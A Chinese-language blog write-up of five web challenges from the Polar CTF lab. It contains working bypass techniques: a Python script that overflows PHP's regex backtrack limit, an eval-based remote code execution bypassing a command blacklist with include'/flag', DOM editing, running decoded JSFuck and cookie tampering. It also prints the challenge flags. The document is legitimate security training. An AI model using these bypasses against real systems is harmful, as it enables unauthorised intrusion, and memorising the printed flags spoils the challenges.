【WEB】Polar靶场 1-5题 详细笔记

发布于:2025-07-08 ⋅ 阅读:(17) ⋅ 点赞:(0)

一.swp

dirsearch目录扫描

发现/.index.php.swp

访问http://a0c579f4-21e7-4a83-958d-eb86c57beaf4.www.polarctf.com:8090/.index.php.swp

出现php代码

分析代码

// 定义验证函数,检查输入是否匹配正则表达式 /sys.*nb/is
function jiuzhe($xdmtql){ 
    return preg_match('/sys.*nb/is',$xdmtql); 
} 

// 从POST请求获取参数 xdmtql,并使用 @ 符号抑制可能的错误
$xdmtql=@$_POST['xdmtql']; 

// 检查输入是否为数组
if(!is_array($xdmtql)){ 
    // 如果输入不匹配正则表达式 /sys.*nb/is
    if(!jiuzhe($xdmtql)){ 
        // 检查输入是否包含字符串 "sys nb"
        if(strpos($xdmtql,'sys nb')!==false){ 
            // 若包含 "sys nb",输出flag(flag格式为 flag{*******})
            echo 'flag{*******}'; 
        }else{
            // 若不包含 "sys nb",提示用户输入是否为真实的 .swp 文件
            echo 'true .swp file?'; 
        }
    }else{
        // 如果输入匹配正则表达式 /sys.*nb/is,输出 "nijilenijile"
        echo 'nijilenijile'; 
    }
}

简单来说就是要获取这段代码中的 flag,需要符合:不是数组,不匹配正则表达式,但仍满足字符串包含 "sys nb" 的条件。

回溯限制

我们可以利用正则表达式的回溯限制

  • 正则 /sys.*nb/is 中的 .* 是贪婪匹配,会尝试匹配尽可能多的字符。
  • 当你添加超长字符串时,正则引擎在尝试匹配 nb 时会进行大量回溯,最终可能达到 PHP 的回溯限制(默认是 pcre.backtrack_limit = 1000000)。
  • 一旦达到限制,正则匹配会失败并返回 false,从而绕过第一个检查。

这里写了一个python脚本发送post请求

import requests
url='http://f7587f00-8a64-4c49-ba2a-bfcd26f4738a.www.polarctf.com:8090/'
date={'xdmtql': 'sys nb'+'a'*1000000}
result=requests.post(url,data=date)
print(result.content)

得到flag

flag{4560b3bfea9683b050c730cd72b3a099}

二.rce

RCE(Remote Code Execution)即远程代码执行,是一种严重的网络安全漏洞,指攻击者通过漏洞在目标服务器上远程执行任意代码,从而控制服务器或获取敏感信息。

打开后有一段php代码

<?php
/*

PolarD&N CTF

*/
// 显示当前PHP文件源代码(用于审计或测试)
highlight_file(__FILE__);

// 定义过滤函数no,用于检查并过滤危险命令或函数
function no($txt){
    // 使用正则表达式匹配并过滤多种危险命令和函数
    if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
        // 若未匹配到危险内容,返回原始输入
        return $txt;
    } else {
        // 若匹配到危险内容,终止程序并输出错误信息
        die("what's up");
    }
}

// 从POST请求中获取参数yyds的值
$yyds=($_POST['yyds']);

// 检查是否同时满足两个条件:
// 1. 存在GET请求参数sys
// 2. POST参数yyds的值等于字符串'666'
if(isset($_GET['sys']) && $yyds=='666'){
    // 对GET参数sys的值应用过滤函数no后,使用eval执行过滤后的内容
    eval(no($_GET['sys']));
} else {
    // 若条件不满足,输出提示信息
    echo "nonono";
}
?> nonono

解析:post满足yyds=666,get获取flag且满足正则表达式要求

这里我们要学会一个函数include,它的主要作用是将另一个 PHP 文件的内容插入到当前脚本中执行。

include基本用法

include '文件路径';
  • 如果文件存在,PHP 会将其内容嵌入到当前脚本并执行。

  • 如果文件不存在,PHP 会抛出 警告(Warning),但脚本会继续执行。

于是用?sys=include'/flag';

 得到flag

flag{j6856fd063f0a04874311187da1191h6}

三.蜜雪冰城吉警店

随便点一个试试

弹出来一个弹窗,猜测flag也是通过这个方式弹出来

怎么弹flag呢,看提示: 点到第9个隐藏款奶茶的单子,就会给你flag ^^

这么说要 点到第9个隐藏款奶茶的单子 

那就按F12,随便修改一个数字改成9

然后点击修改数字后的奶茶

然后果然弹出了flag

flag{7d43cc8863ad0ee649048e562fde53ec}

四.召唤神龙 

看名字就知道挺有意思

打开后发现是个用鼠标控制的小游戏

随便玩了玩,发现通关后也没什么用 

于是用dirsearch扫一扫

访问main.js 发现有一段奇怪字符

 这个扩展个知识点

JSFuck

JSFuck 是一种极端的 JavaScript 编码方式,它仅使用 6 个字符[]()!+)来编写完整的 JavaScript 代码。它的核心原理是利用 JavaScript 的类型转换和强制求值规则,将普通代码转换成由这些符号组成的复杂表达式。

可以直接把它放到控制台,然后按回车

得到flag 

flag{fdf9a88ec4fdd9e3dedaafeece5cc248} 

五.seek flag

seek flag,寻找flag,那就找找吧

F12,点开网络,搜索flag,真的找到了

flag2   3ca8737a70f029d    但是好像只有一部分,接着找

dirsearch扫描

就扫出来一个,访问/robots.txt,又得到一部分

flag3:c0ad71dadd11},还有一部分我怎么都没找到,只能去看wp了

原来它这里的cookie有问题id=0,发送一个id=1就能得到flag1

不知道为啥用hacker不行,谁能告诉我为啥 

于是我用python发送id=1的post请求

import requests
url='http://63f66e87-0c4b-448d-8afd-0e30f82bd0eb.www.polarctf.com:8090/'
cookies={
    'id':'1'
}
result=requests.post(url,cookies=cookies)
print(result.text)

得到flag1:flag{7ac5b,把3个flag拼在一起

flag{7ac5b3ca8737a70f029dc0ad71dadd11}


网站公告

今日签到

点亮在社区的每一天
去签到